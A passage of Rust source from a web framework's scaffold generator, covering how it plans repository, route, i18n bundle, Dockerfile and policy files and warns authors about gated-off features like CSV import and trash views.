// presence test `check_reference_targets` uses for its warning — the table presumably
// exists out of band, or is generated later. Their "select over the referenced table's
// ids" promotion (#1135 AC 2) needs the target's `src/schema.rs` entry at compile
// time, so the routes renderer skips the select machinery for these columns and lets
// them fall back to the derived numeric id input: a warning-only missing target has
// always produced compilable output, and importing a nonexistent schema module would
// break that. A self-referential column, whose target is this scaffold's own table, is
// never missing — its schema entry is being generated right now.
let missing_reference_targets: BTreeSet<String> = form_fields
.iter()
.filter(|f| f.kind.is_reference())
.filter_map(|f| {
let table = f.reference_table()?;
if table == plural {
return None;
}
let base = f.name.strip_suffix("_id").unwrap_or(&f.name);
if super::model::model_file_exists(project_root, &table, base) {
None
} else {
Some(f.name.clone())
}
})
.collect();
if !options_with_key.api && !options_with_key.live_validation {
for f in form_fields.iter().filter(|f| f.kind.is_reference()) {
if !missing_reference_targets.contains(&f.name) {
continue;
}
let Some(table) = f.reference_table() else {
continue;
};
let base = f.name.strip_suffix("_id").unwrap_or(&f.name);
plan.warn(format!(
"'{}' will render as a plain numeric id input in the generated form: \
without the '{base}' model, table '{table}' has no `src/schema.rs` entry \
to load select options from. Generate the '{base}' model first (or re-run \
this scaffold once it exists) to get a select of {table} ids instead.",
f.name
));
}
}
// An explicit `{label:col}` override that names a column the target model
// doesn't expose as a string would generate a `select {table}::{col}`
// (loaded as `String`) that fails to compile the generated app. The display
// resolver falls back to the heuristic display column in that case
// (see `resolve_reference_display`), so warn the author their label was
// ignored rather than silently swapping it. Skipped for a missing target
// (already warned above) and when the model isn't discoverable (the
// override can't be validated, so it's honored as-is).
for f in form_fields.iter().filter(|f| f.kind.is_reference()) {
if missing_reference_targets.contains(&f.name) {
continue;
}
let Some(label) = &f.constraints.label else {
continue;
};
let base = f.name.strip_suffix("_id").unwrap_or(&f.name);
// Self-ref-aware: a self-reference's columns come from the in-flight
// fields, so `Category category:references{label:name}` doesn't warn
// that the not-yet-on-disk model "has no string columns".
let columns = target_string_columns(project_root, f, &plural, &form_fields);
if !columns.iter().any(|(c, _)| c == label) {
// Covers both a wrong column name AND a target with no string
// columns at all — in the latter case there is nothing to fall back
// to, so the reference renders its raw id.
let detail = if columns.is_empty() {
format!("the '{base}' model has no string columns")
} else {
format!(
"the '{base}' model's string columns are: {}",
columns
.iter()
.map(|(c, _)| c.as_str())
.collect::<Vec<_>>()
.join(", ")
)
};
plan.warn(format!(
"reference label '{label}' on '{}' is not a usable string column ({detail}); \
falling back to the default display column (its raw id when there is none).",
f.name
));
}
}
// Repository file under `src/repositories/<snake>.rs`
let repos_dir = project_root.join("src").join("repositories");
plan.create(
repos_dir.join(format!("{snake_name}.rs")),
render_repository_file(
&pascal_name,
&snake_name,
&queries,
options_with_key.model.soft_delete,
options_with_key.api,
options_with_key.model.sharded,
options_with_key.live,
!options_with_key.model.searchable.is_empty(),
// Issue #1841: emit `owner = <col>` (→ the macro's `list_scoped` /
// `search_page_scoped` codegen) only on the standard owner-scoped Db
// path — `authorize_wiring` is exactly `owner present && policy on &&
// !sharded && !live && !live_validation`, the path whose index/search
// this PR wires to the scoped methods. Live/sharded owner indexes are
// left as #1830 emitted them (follow-up), so they get no `owner =`.
authorize_wiring
.then(|| owner_column.as_ref().map(|o| o.name.as_str()))
.flatten(),
// Issue #1358: `position(...)` is rejected outright by
// `#[repository(..., sharded)]` at macro-expansion time (a move
// only reaches the pool/shard it happens to be given — see
// autumn-macros' `parse_repo_args`), so a `--sharded` scaffold
// must never emit it, or the generated project fails to compile
// with a macro error instead of a clear generate-time one.
(!options_with_key.model.sharded)
.then(|| fields.iter().find(|f| f.kind.is_position()))
.flatten(),
),
);
let repo_mod_path = repos_dir.join("mod.rs");
plan.modify(
repo_mod_path.clone(),
add_mod_declaration(&read_or_empty(&repo_mod_path), &snake_name),
);
plan.push_revert(Revert::ModDecl {
path: repo_mod_path,
name: snake_name.clone(),
});
// …and the mirror: children nested INTO this resource. Destroying a parent
// out from under them deletes the module they still import
// (`crate::routes::<parent>::paths`, `schema::<parents>`) and leaves their
// nested routes mounted — an uncompilable project. The default destroy
// already stops, but only by accident: the injected section reads as
// diverged content, whose message says nothing about children and which
// `--force` waves straight through. Refuse explicitly
// instead, naming them, so `--force` cannot turn a deliberate override of
// one check into silent breakage of another.
if for_revert && !options_with_key.api {
let dependents = super::nested::children_nested_under(project_root, &plural);
if !dependents.is_empty() {
return Err(GenerateError::Config(format!(
"{} nested under {plural}, and src/routes/{plural}.rs renders their children \
section. Destroying {plural} now would delete the module they import \
(`crate::routes::{plural}::paths`, `schema::{plural}`) and leave their \
nested routes mounted. Destroy {} first — that also removes the section from \
src/routes/{plural}.rs — then destroy {plural}.",
if dependents.len() == 1 {
format!("{} is", dependents[0])
} else {
format!("{} are", dependents.join(", "))
},
dependents.join(", "),
)));
}
}
// Parents this resource is currently nested under, discovered from the
// `// autumn:nested:<plural>` markers already on disk (issue #1323). On the
// GENERATE path this is always empty — the marker is written by the `Modify`
// this same run is about to plan — so it costs one directory scan and
// changes nothing. On the DESTROY path it is the ONLY evidence available
// when `--belongs-to` was not repeated on the command line, and it drives
// both the parent-side cleanup and the `main.rs` unmounting below.
let nested_parents = if options_with_key.api {
Vec::new()
} else {
super::nested::parents_carrying_child(project_root, &plural)
};
// Nesting recovered from the markers rather than declared: say so, since the
// emitted module then carries nested routes the command line never asked for.
if let Some(n) = nesting.as_ref()
&& n.inferred
&& !for_revert
{
plan.warn(format!(
"src/routes/{parent}.rs still nests {plural} (a `--belongs-to {pascal}` \
scaffold), so the regenerated module keeps its nested routes. Pass \
`--belongs-to {pascal}` to make that explicit, or \
`autumn destroy scaffold {name} …` first to un-nest.",
parent = n.parent_plural,
pascal = n.parent_pascal,
));
}
// Route file under `src/routes/<plural>.rs`
if !options_with_key.api {
// The shared-layout preflight applies only to standard scaffolds, which render
// their HTML views through the application's shared `crate::layout(title,
// current_path, flash, content)`. Live and live-validation scaffolds are
// self-contained: they emit their own private `fn layout` and never call
// `crate::layout`, so an app without a shared layout must not block them. This
// mirrors the renderer's `shared_layout = !live && !live_validation`.
// `for_revert` additionally skips the preflight on the `autumn destroy scaffold`
// path: it recomputes this plan before reverting it, and the generate-only guard
// must not hard-fail cleanup (#1834).
if !options_with_key.live && !options_with_key.live_validation && !for_revert {
// Issue #1130: scaffolded HTML views render through the application's
// shared `crate::layout`, so the target app must expose one with the
// matching signature. Detect it by looking for a `pub fn layout` in
// `src/main.rs` (as generated by `autumn new`). If it's missing — or
// present with the wrong arity — fail early with an actionable message
// rather than emitting routes that call a nonexistent or mismatched
// `crate::layout`.
let main_for_layout_check = project_root.join("src").join("main.rs");
let main_src = match std::fs::read_to_string(&main_for_layout_check) {
Ok(src) => src,
// `main.rs` genuinely absent: surface the actionable message below
// by treating it as an empty source (no `pub fn layout` present).
Err(e) if e.kind() == std::io::ErrorKind::NotFound => String::new(),
// Any other io error (e.g. PermissionDenied) must preserve its
// original `ErrorKind` + OS message rather than being masked.
Err(e) => return Err(GenerateError::Io(e)),
};
// The generated routes call the 4-arg
// `crate::layout(title, current_path, flash, content)`, so a shared
// layout must exist AND take exactly 4 parameters. `has_shared_layout`
// matches `layout` as a complete token (so decoys like
// `pub fn layout_sidebar` are ignored), ignores `pub fn layout`
// tokens that appear inside comments or string literals, and rejects
// an older/custom 2-arg `pub fn layout(title, content)` that would
// otherwise pass the preflight and then fail to compile.
if !has_shared_layout(&main_src) {
return Err(GenerateError::Config(
"`autumn generate scaffold` requires a shared `pub fn layout` in src/main.rs \
so the generated views can render through \
`crate::layout(title, current_path, flash, content)` (4 args). Run this inside \
an app created by `autumn new`, or add a shared \
`pub fn layout(title: &str, current_path: &str, flash: maud::Markup, content: maud::Markup) -> maud::Markup` \
to src/main.rs and re-run. (Use `--api` to scaffold JSON-only endpoints that need no layout.)"
.to_owned(),
));
}
}
let routes_dir = project_root.join("src").join("routes");
let own_routes_path = routes_dir.join(format!("{plural}.rs"));
// This resource may itself be a PARENT: its `show` can carry sections
// injected for children nested under it (issue #1323). The flat template
// below knows nothing about those, so a `--force` regeneration would
// overwrite them away — silently dropping the children list AND the only
// durable record of the relationship, after which a child regeneration
// would emit no nested handlers while `main.rs` still mounted them.
// Re-apply them onto the fresh render instead. Empty for the common
// case, and skipped on the revert path (where this Create is a Delete).
let previous_own_routes = if for_revert {
String::new()
} else {
read_or_empty(&own_routes_path)
};
// Issue #1349: the one seam every user-facing string in the generated
// views passes through. With `--i18n` off it returns each caller's
// literal expression verbatim, so the rendered file is byte-for-byte
// what it was before this feature existed; with it on, each string
// becomes a `t!(locale, "key")` lookup and the key/English pair is
// recorded for the `i18n/en.ftl` back-fill below.
let labels = scaffold_i18n::ViewLabels::new(options_with_key.i18n);
let fresh_own_routes = render_routes_file(
project_root,
&pascal_name,
&snake_name,
&plural,
&form_fields,
&fields,
options_with_key.model.sharded,
options_with_key.model.soft_delete,
options_with_key.model.id_type,
options_with_key.live,
options_with_key.live_validation,
metadata.validations(),
&missing_reference_targets,
authorize_routes,
owner_column.as_ref().map(|o| o.name.as_str()),
&options_with_key.model.searchable,
nesting.as_ref(),
options_with_key.import,
&labels,
backend,
);
let own_routes = super::nested::reapply_children(&previous_own_routes, &fresh_own_routes)
.map_err(|refused| {
GenerateError::Config(format!(
"{} nested under {plural}, but this run re-renders src/routes/{plural}.rs \
into a shape their children section cannot be put back into (a \
`--sharded` parent holds a `ShardedDb` the section cannot borrow; \
`--live` and `--api` reshape the `show` view it renders in). Re-running \
would silently drop the children list. Destroy {} first — that removes \
the section — then regenerate {plural}. Nothing has been written.",
if refused.len() == 1 {
format!("{} is", refused[0])
} else {
format!("{} are", refused.join(", "))
},
refused.join(", "),
))
})?;
plan.create(own_routes_path, own_routes);
// #1349: back-fill `i18n/en.ftl` with every key the views just referenced, and
// wire the three project-level bits that make those lookups resolve with no
// further config (AC4). Order matters for the file, not the plan: `t!` validates
// key existence at compile time against the default locale's bundle, so a
// referenced key missing from `en.ftl` is a `compile_error!` in the user's app
// rather than a runtime miss. `labels.used_keys()` is the exact set the render
// emitted — no more, which `autumn i18n check` would flag as unused, and no fewer.
let autumn_toml_path_for_i18n = project_root.join("autumn.toml");
// #2439: `ChangesetForm` looks up this key. It is the same key as
// `autumn_web::form::NUL_CHARACTER_MESSAGE_KEY`.
labels.framework_key(
scaffold_i18n::NUL_MESSAGE_KEY,
scaffold_i18n::NUL_MESSAGE_ENGLISH,
);
let referenced_keys = labels.used_keys();
if labels.enabled() && !referenced_keys.is_empty() {
// Write to the bundle the app actually resolves through, not a
// hardcoded `i18n/en.ftl`. A project configured with
// `default_locale = "fr"` — or `dir = "translations"` — looks its
// keys up somewhere else entirely, so keys parked at the default
// path would render as visible `{$post.index.title}` placeholders
// and read as "missing from the default locale" to `autumn i18n
// check`, while `t!`'s compile-time validation (which looks under
// `i18n/` for `en`) passed and hid it until runtime.
let (configured_locale, configured_dir) =
scaffold_i18n::configured_i18n(&read_or_empty(&autumn_toml_path_for_i18n));
let default_locale = configured_locale.unwrap_or_else(|| "en".to_owned());
let i18n_dir = configured_dir.unwrap_or_else(|| "i18n".to_owned());
let ftl_path = project_root
.join(&i18n_dir)
.join(format!("{default_locale}.ftl"));
// NOT `read_or_empty`: that maps an unreadable or non-UTF-8 file to
// `""`, and the merge would then write a fresh English file straight
// over somebody's translations. An existing bundle we cannot read is
// a hard error, not an empty one.
let existing_ftl = match std::fs::read_to_string(&ftl_path) {
Ok(contents) => contents,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => String::new(),
Err(e) => {
return Err(GenerateError::Config(format!(
"cannot read the existing i18n bundle at {}: {e}. Refusing to continue \
— merging would replace it with a freshly generated file and lose \
whatever translations it holds. Fix the file (it must be UTF-8 and \
readable) and re-run.",
ftl_path.display()
)));
}
};
// A `--force` regeneration reconciles the block against the keys
// the NEW render emits, which is what stops a dropped field
// leaving orphans behind — but a key this render no longer emits
// can still be called from hand-written code elsewhere, and `t!`
// rejects a missing key at COMPILE time. Same project scan
// `destroy` uses, reading the plan's PENDING contents so this
// resource's own freshly rendered routes are what count for it,
// not the superseded file still on disk.
let pending = super::emit::pending_contents(&plan);
let surviving_scan = super::emit::scan_surviving_sources(project_root, &[], &pending);
let still_referenced =
super::emit::keys_still_referenced_in(&surviving_scan, &existing_ftl);
let merged = scaffold_i18n::merge_en_ftl_keeping(
&existing_ftl,
&pascal_name,
&snake_name,
&referenced_keys,
&still_referenced,
);
if merged != existing_ftl {
// `create` rather than `modify` when the file is new: the plan's
// collision check should treat a first-time `i18n/en.ftl` like
// any other generated file.
if existing_ftl.is_empty() && !ftl_path.exists() {
plan.create(ftl_path.clone(), merged);
} else {
plan.modify(ftl_path.clone(), merged);
}
}
// `t!`'s compile-time key check does not read `autumn.toml`. It
// resolves its own bundle from `AUTUMN_I18N_FILE`, else
// `$CARGO_MANIFEST_DIR/i18n/$AUTUMN_I18N_DEFAULT_LOCALE.ftl` with the
// locale defaulting to `en`, and degrades to a runtime lookup only
// when that file is absent. So a project on `default_locale = "fr"`
// that still keeps the validator's bundle around gets the worst case:
// the validator finds it, it lacks every key just written to `fr.ftl`,
// and `cargo check` fails with a `compile_error!` per lookup.
//
// Keep it in step: the bundle the macro would pick, resolved the way
// the macro resolves it, not a hardcoded `i18n/en.ftl`. Only when it
// already exists — an absent one means there is no compile-time check
// to satisfy, and writing it would invent a locale the project
// deliberately does not have.
let mut extra_revert_paths: Vec<std::path::PathBuf> = Vec::new();
let macro_env = scaffold_i18n::MacroEnv::resolve(project_root);
if let Some(validator_path) =
scaffold_i18n::validator_bundle_path(project_root, ¯o_env)
&& validator_path != ftl_path
{
// Same fallible read as the runtime bundle above, for the same
// reason: `read_or_empty` would turn an unreadable or non-UTF-8
// file into `""`, and the `Modify` below would then write a
// fresh English bundle straight over whatever it holds.
let base = match std::fs::read_to_string(&validator_path) {
Ok(contents) => contents,
Err(e) => {
return Err(GenerateError::Config(format!(
"cannot read the i18n bundle at {}: {e}. Refusing to continue — it \
is the file `t!`'s compile-time key check reads, so it has to be \
kept in step, and merging would replace it with a freshly \
generated file and lose whatever translations it holds. Fix the \
file (it must be UTF-8 and readable) and re-run.",
validator_path.display()
)));
}
};
// The SAME preserving merge the runtime bundle gets, against
// this file's own definitions. Reconciling the validator block
// against only the newly generated keys undoes the protection:
// a key held back from the runtime prune because hand-written
// code still calls it would be dropped from the very bundle
// that call is validated against, so the build fails anyway —
// just from the other file.
let still_referenced_here =
super::emit::keys_still_referenced_in(&surviving_scan, &base);
let merged = scaffold_i18n::merge_en_ftl_keeping(
&base,
&pascal_name,
&snake_name,
&referenced_keys,
&still_referenced_here,
);
if merged != base {
plan.modify(validator_path.clone(), merged);
}
extra_revert_paths.push(validator_path);
}
// Destroy takes back this resource's keys only. The shared `common.*`
// block and the file itself always survive: sibling resources reuse
// the chrome, and `.i18n_auto()` panics at startup if the default
// locale's file is missing.
//
// Every locale bundle, not just the default. A translator starts a
// locale by copying the default bundle and translating in place, so
// `fr.ftl` carries this resource's block, and its markers, too.
// Reverting only the default leaves those copies behind with nothing
// referencing them, which `autumn i18n check --strict` fails on as
// unused. The revert is marker-bounded and recomputed per file, so a
// hand-authored key outside the block is as safe here as in the
// default bundle.
let mut revert_paths: std::collections::BTreeSet<std::path::PathBuf> =
scaffold_i18n::locale_bundles(project_root, &i18n_dir)
.into_iter()
.collect();
// The default bundle even when this run is what creates it — the
// directory scan above only sees what is already on disk.
revert_paths.insert(ftl_path.clone());
revert_paths.extend(extra_revert_paths);
for path in revert_paths {
plan.push_revert(Revert::I18nFtlKeys {
path,
pascal: pascal_name.clone(),
snake: snake_name.clone(),
});
}
// A project that already ships another locale gets those keys as
// UNTRANSLATED until someone writes them, and `--strict` exits
// non-zero on that. Say so by name rather than letting the next CI
// run be the messenger.
//
// Deliberately NOT written for them: filling `es.ftl` with English
// would report as translated and ship English, which is worse than
// a warning — it turns a visible gap into a silent one. The bundle
// header this generator writes says the same thing to translators.
let other_locales: Vec<String> = scaffold_i18n::locale_bundles(project_root, &i18n_dir)
.into_iter()
.filter(|path| path != &ftl_path)
.filter_map(|path| {
path.file_stem()
.map(|stem| stem.to_string_lossy().into_owned())
})
.collect();
if !other_locales.is_empty() {
plan.warn(format!(
"{} new key(s) were written to {}. {} still needs them translated — \
`autumn i18n check --strict` reports them as untranslated until it does.",
referenced_keys.len(),
ftl_path.display(),
other_locales.join(", "),
));
}
// (The `i18n` Cargo feature is enabled further down, alongside
// `maud`/`csv`/`htmx` — `plan_cargo_deps` runs between here and
// there and rebuilds its Cargo.toml action from DISK, so an edit
// made at this point would be silently dropped.)
// (#2227 closed the three gaps this block used to warn about. The
// Markdown editor's chrome now goes through `RichTextLabels`. The
// state-transition buttons go through `TransitionLabels`. The
// inline validation messages go through `into_changeset_with`. The
// one remaining gap — the CSV import report — is named where
// `import_enabled` is known, further down.)
// A profile overlay can repoint i18n somewhere else entirely, and
// the runtime resolves the fully layered config — so the base
// bundle this generator just wrote (and the `COPY` it is about to
// add) can be the wrong one for the deploy that matters. Writing
// English into a `fr` production bundle would be a worse answer, so
// name the paths and let the author decide.
for (profile, path) in scaffold_i18n::profile_i18n_overrides(
&read_or_empty(&autumn_toml_path_for_i18n),
&i18n_dir,
&default_locale,
) {
plan.warn(format!(
"`[profile.{profile}.i18n]` points at `{path}`, not the `{}` this scaffold \
wrote. Add the same keys there (or an `{profile}` fallback chain that \
reaches the base bundle) — the app loads the layered config at startup, and \
`.i18n_auto()` PANICS when the resolved default locale's file is missing.",
ftl_path.display()
));
}
// The same hazard through the OTHER spelling. A standalone
// `autumn-<profile>.toml` is merged LAST — after `autumn.toml` and
// its inline `[profile.…]` sections — so a project that keeps its
// production config in one has no `[profile.prod.i18n]` for the scan
// above to find, and the loudest case reports nothing at all.
let profile_files: Vec<(String, String)> = std::fs::read_dir(project_root)
.into_iter()
.flatten()
.flatten()
.filter_map(|entry| {
let path = entry.path();
let name = path.file_name()?.to_str()?;
let profile = name.strip_prefix("autumn-")?.strip_suffix(".toml")?;
Some((profile.to_owned(), read_or_empty(&path)))
})
.collect();
for (profile, path) in scaffold_i18n::profile_file_i18n_overrides(
&profile_files,
&i18n_dir,
&default_locale,
) {
plan.warn(format!(
"`autumn-{profile}.toml` points i18n at `{path}`, not the `{}` this scaffold \
wrote — and that file is layered LAST, so it wins over `autumn.toml`. Add \
the same keys there (or a fallback chain that reaches the base bundle) — \
`.i18n_auto()` PANICS at startup when the resolved default locale's file is \
missing.",
ftl_path.display()
));
}
// The image has to carry the bundle: `.i18n_auto()` panics at
// startup when the default locale's file is missing, and the plain
// `autumn new` Dockerfile copies no `i18n/` directory.
let dockerfile_path = project_root.join("Dockerfile");
if dockerfile_path.exists() {
let base = read_or_empty(&dockerfile_path);
// A `dir` that moved since an earlier `--i18n` run leaves the old
// pair behind, and the new pair is added beside it. `COPY` fails
// the build outright when its source is gone from the context, so
// the stale line is the difference between an image that builds
// and one that does not.
if let Some(stale) = scaffold_i18n::stale_dockerfile_i18n_dir(&base, &i18n_dir) {
plan.warn(format!(
"Dockerfile still copies `{stale}/` — the locale directory an earlier \
scaffold wired in — while `[i18n] dir` now resolves to `{i18n_dir}/`. \
Both stages have been given `{i18n_dir}/`; remove the `{stale}/` lines \
by hand. Left in place they fail the image build outright once \
`{stale}/` is gone from the build context."
));
}
match scaffold_i18n::ensure_dockerfile_i18n_copy(&base, &i18n_dir) {
Some(updated) if updated != base => {
plan.modify(dockerfile_path, updated);
}
Some(_) => {}
None => plan.warn(format!(
"Dockerfile has no `COPY migrations` line to anchor on, so the \
`{i18n_dir}/` directory was not added to it. Copy `{i18n_dir}/` into \
both the builder and runtime stages by hand — the app calls \
`.i18n_auto()`, which PANICS at startup if the default locale's \
`.ftl` is missing from the image."
)),
}
}
// `[i18n]` in `autumn.toml` names the default locale the bundle
// loads. Only touched when the project actually has an
// `autumn.toml` to edit and does not already configure i18n — a
// project on a non-`en` default must keep it.
let autumn_toml_path = autumn_toml_path_for_i18n;
if autumn_toml_path.exists() {
let base = plan
.actions
.iter()
.rev()
.find_map(|a| match a {
Action::Modify { path, contents } if path == &autumn_toml_path => {
Some(contents.clone())
}
_ => None,
})
.map_or_else(
|| {
// Read FALLIBLY. `read_or_empty` turns an unreadable
// file — non-UTF-8, or unreadable under the current
// ACL — into `""`, and the `Modify` planned below
// would then write a fresh `[i18n]` block over
// whatever was really there, destroying the project's
// configuration. The bundle reads above already take
// this care; this one is the same hazard with a worse
// blast radius, since `autumn.toml` configures
// everything. Absence stays absent.
match std::fs::read_to_string(&autumn_toml_path) {
Ok(src) => Ok(src),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
Ok(String::new())
}
Err(e) => Err(GenerateError::Io(e)),
}
},
Ok,
)?;
let updated = scaffold_i18n::ensure_i18n_config_block(&base);
if updated != base {
plan.actions.retain(|a| a.path() != autumn_toml_path);
plan.modify(autumn_toml_path, updated);
}
}
}
let route_mod_path = routes_dir.join("mod.rs");
plan.modify(
route_mod_path.clone(),
add_mod_declaration(&read_or_empty(&route_mod_path), &plural),
);
plan.push_revert(Revert::ModDecl {
path: route_mod_path,
name: plural.clone(),
});
// Issue #1323 AC4: the PARENT resource's generated `show` view gains a
// list of its children plus an inline create form. That is an in-place
// edit to a file this invocation does not own, so it is marker-delimited
// (idempotent on re-run) and paired with a `Revert` so `autumn destroy`
// takes exactly those lines back out (#1048).
if let Some(n) = nesting.as_ref()
&& !for_revert
{
let parent_routes = routes_dir.join(format!("{}.rs", n.parent_plural));
if let Ok(parent_src) = std::fs::read_to_string(&parent_routes) {
plan.modify(
parent_routes,
super::nested::inject_into_parent_show(&parent_src, &plural),
);
}
}
// The destroy-side counterpart, driven by the MARKERS on disk rather
// than by `--belongs-to` being repeated on the destroy command line:
// the flag is something the author typed once, days ago, and forgetting
// it must not leave a `crate::routes::{plural}::children_section(…)`
// call dangling in a parent whose child module this destroy just
// deleted — an uncompilable project.
for parent_routes in &nested_parents {
plan.push_revert(Revert::NestedChildSection {
path: parent_routes.clone(),
child_plural: plural.clone(),
});
}
}
// Record-level authorization policy + scope (issue #1125). Emitted for every
// non-`--api` scaffold unless `--no-policy` is passed. The main.rs
// registration is folded into the shared `updated` content below (a second
// `Modify` on main.rs would clobber the route wiring, since each is computed
// against on-disk content).
if policy_on {
super::policy::push_policy_files(
&mut plan,
project_root,
&pascal_name,
&snake_name,
&plural,
owner_column.as_ref(),
// Scaffold always writes the per-resource `src/models/<snake>.rs`
// layout, so the model type is always `crate::models::<snake>::<Pascal>`.
&format!("crate::models::{snake_name}::{pascal_name}"),
);
}
// Issue #1312: bulk-select + `POST /{plural}/bulk_delete`. Must agree exactly
// with the `bulk_delete_enabled` gate in `render_routes_file` (plus `--api`,
// which emits no HTML routes module at all), or main.rs would mount a route
// the module never emitted.
let bulk_delete_enabled = !options_with_key.api
&& !options_with_key.live
&& !options_with_key.live_validation
&& !options_with_key.model.sharded;
// #1315: the `CsvSchema` impl and `GET /{plural}/export.csv` download. It must agree
// exactly with the `export_enabled` gate in `render_routes_file`, plus `--api`, which
// emits no HTML routes module at all, or main.rs would mount a route the module never
// emitted.
//
// Spelled out operand by operand rather than reusing `authorize_wiring`, which is the
// same predicate today but is documented as the signal for the cross-user 403 smoke
// test: narrowing it for that reason would silently desync the two copies of this
// gate. `owner_authorizes` is `render_routes_file`'s `owner_scoped_index`, and the
// first disjunct is its `owner_scoped_standard`. Bound as two named locals rather
// than one expression, so the disjunction reads as the two index branches it mirrors;
// clippy's `nonminimal_bool` would otherwise demand the algebraically-minimal form,
// which loses that.
let owner_scoped_standard_export = owner_authorizes
&& !options_with_key.model.sharded
&& !options_with_key.live
&& !options_with_key.live_validation;
let plain_export =
!owner_authorizes && !options_with_key.live && !options_with_key.model.sharded;
let export_enabled = !options_with_key.api && (owner_scoped_standard_export || plain_export);
// #1393: the CSV import surface (`GET`/`POST /{plural}/import`). It must agree
// exactly with the `import_enabled` gate in `render_routes_file`, or main.rs would
// mount routes the module never emitted. Gated on `export_enabled` rather than a
// matrix of its own: the import decodes each row against the `CsvSchema` impl the
// export emits, so where there is no export there is no column map to import against.
//
// An at-rest `#[encrypted]` column is omitted from the export (#1340 — the model
// holds plaintext, so exporting it would write every row's decrypted secret into a
// downloadable file), but it is a required field on `{Pascal}Form`. A file whose
// header is `csv_columns()` therefore cannot satisfy the form: every row would fail to
// decode with "missing field", and the upload page would hand the operator the exact
// header guaranteed to fail. Refuse the surface instead. Derived from `form_fields`,
// the columns the form actually carries, so an encrypted column that is `--default`ed
// — and therefore absent from the form too — does not block the import.
let encrypted_form_column = form_fields
.iter()
.find(|f| f.is_encrypted())
.map(|f| f.name.clone());
// An import that can set NO column is a surface with no purpose: every row it
// creates is a row of database defaults, and — because a form with no
// settable field decodes ANY row successfully — an unrelated upload would
// preview and commit as a run of blank records. That is the wrong-file
// failure the header check exists to stop, in the one shape where there is
// no header to check. Refuse the surface rather than emit one whose only
// possible output is junk. Reached for a model whose every column is an
// `Attachment` or `--default`ed.
let settable_import_columns = form_fields
.iter()
.filter(|f| !f.kind.is_attachment())
.count();
let import_enabled = options_with_key.import
&& export_enabled
&& encrypted_form_column.is_none()
&& settable_import_columns > 0;
// A `--import` that lands on a gated-off variant would otherwise be silent:
// no upload form, no route, no explanation. Say so at generation time with
// the reason and the way out, exactly as `--soft-delete` does for a missing
// Trash view. Only reached when the flag was actually passed, so an ordinary
// scaffold prints nothing.
if options_with_key.import && !import_enabled {
// One arm per way `export_enabled` can be false, in the order the gate
// itself evaluates them — the import decodes against the export's
// `CsvSchema`, so every reason is really "no schema was emitted here".
// Each names what to drop, because "not supported" without a way out is
// the warning an author has to come and read the source to act on.
let reason =
if export_enabled && encrypted_form_column.is_none() && settable_import_columns == 0 {
"no column on this model can be set from a CSV — every column is an \
Attachment or `--default`ed — so an import could only ever \
create rows of database defaults, and a file with any header at all \
would decode into them. Add a column the form carries, or drop \
--import."
} else if let Some(column) = encrypted_form_column.as_deref() {
&format!(
"`{column}` is an at-rest #[encrypted] column, which the CSV export \
omits (issue #1340 — the model holds plaintext) but the generated \
form requires, so every imported row would fail to decode. Drop \
#[encrypted] from `{column}`, or import that column through a \
hand-written route"
)
} else if options_with_key.api {
"an --api scaffold renders no HTML views, so there is no upload form to \
render and no CsvSchema impl to decode rows against. Drop --api for an \
HTML resource"
} else if options_with_key.model.sharded {
"a sharded repository pins every write to the shard it is handed, so a \
bulk import would land wherever the request happened to route. Drop \
--sharded"
} else if options_with_key.live {
"a --live index runs `repo.page` behind an SSE island rather than the \
`ListQuery` list the CSV schema is emitted for. Drop --live"
} else if owner_authorizes && options_with_key.live_validation {
"an owner-scoped --live-validation index runs a hand-written \
owner-filtered query rather than a scoped repository method, so no \
CsvSchema impl is emitted to decode rows against. Drop \
--live-validation, or drop the owner column"
} else {
"this resource's index is not a repository list the CSV schema is \
emitted for"
};
plan.warn(format!(
"--import: no CSV import route generated for {plural} — {reason}. \
`autumn_web::data::csv::import_csv` is still available for a hand-written \
import route; see docs/guide/generators.md."
));
}
// #2227: `create` and `update` now resolve each validator error code through
// the bundle. A rejected form shows a translated message under a translated
// label. The CSV import report shows the same messages but cannot translate
// them: `import_csv` calls its row handler once per line, far from the
// request, so there is no locale to look the message up in. The report an
// operator reads after an upload keeps `validation failed: <code>` in
// English.
if options_with_key.i18n && import_enabled && metadata.has_validator_rules() {
plan.warn(
"`--i18n` translates the inline `#[validate(...)]` messages on the create and \
update forms, but the CSV import report keeps them in English — the row handler \
runs per line, with no request locale to look a message up in. Write your own \
import route if that report must be translated too."
.to_owned(),
);
}
// Issue #1332: the trash view + restore/purge controls. Must agree exactly
// with the `trash_enabled` gate in `render_routes_file` (plus `--api`, which
// emits no HTML routes module at all), or main.rs would mount routes the
// module never emitted. `owner_authorizes` is `render_routes_file`'s
// `owner_scoped_index`.
let trash_enabled = options_with_key.model.soft_delete
&& !options_with_key.api
&& !options_with_key.live
&& !options_with_key.live_validation
&& !options_with_key.model.sharded
&& !owner_authorizes;
// #1358: the position field's no-JS Move up / Move down index buttons and their
// `POST /{plural}/{id}/move_up`|`move_down` handlers. Must agree exactly with the
// `reorder_enabled` gate in `render_routes_file`, plus `--api`, which emits no HTML
// routes module at all, or main.rs would mount routes the module never emitted. Same
// restriction set as `trash_enabled`, scoped to the plain HTML index for this slice:
// `--api`, `--live`, `--live-validation`, and owner-scoped scaffolds still get the
// repository's `move_*` methods, and for `--api` the ordered data, just not the HTML
// buttons. `--sharded` is different: the repository attribute omits `position(...)`
// entirely there, because the macro rejects `position(...)` combined with `sharded` —
// a move only reaches the pool or shard it happens to be given.
let reorder_enabled = fields.iter().any(|f| f.kind.is_position())
&& !options_with_key.api
&& !options_with_key.live
&& !options_with_key.live_validation
&& !options_with_key.model.sharded
&& !owner_authorizes;
// A `--soft-delete` scaffold that lands on one of the gated-off variants
// gets the data layer and the delete tunnel but NO way to see or recover
// what it deleted — exactly the situation #1332 exists to remove. Say so at
// generation time, with the reason and the way out, rather than leaving the
// author to notice the missing Trash link and go read the guide. Only
// reached when the flag was actually passed, so an ordinary scaffold prints
// nothing.
if options_with_key.model.soft_delete && !trash_enabled {
let reason = if options_with_key.api {
"an --api scaffold renders no HTML views"
} else if options_with_key.live || options_with_key.live_validation {
"restoring a row goes through the repository's `restore`, not the \
broadcasting `save`, so a --live list would never learn the row came back"
} else if options_with_key.model.sharded {
"`page_only_deleted` cannot fan out across shards, so a trash page \
would silently show one shard's deletions"
} else {
"the index is owner-scoped and the repository has no owner-filtered \
deleted-rows scope; listing deleted rows without one would show every \
user's trash"
};
plan.warn(format!(
"--soft-delete: no Trash view generated for {plural} — {reason}. \
The repository still has restore/purge/only_deleted, so a hand-written \
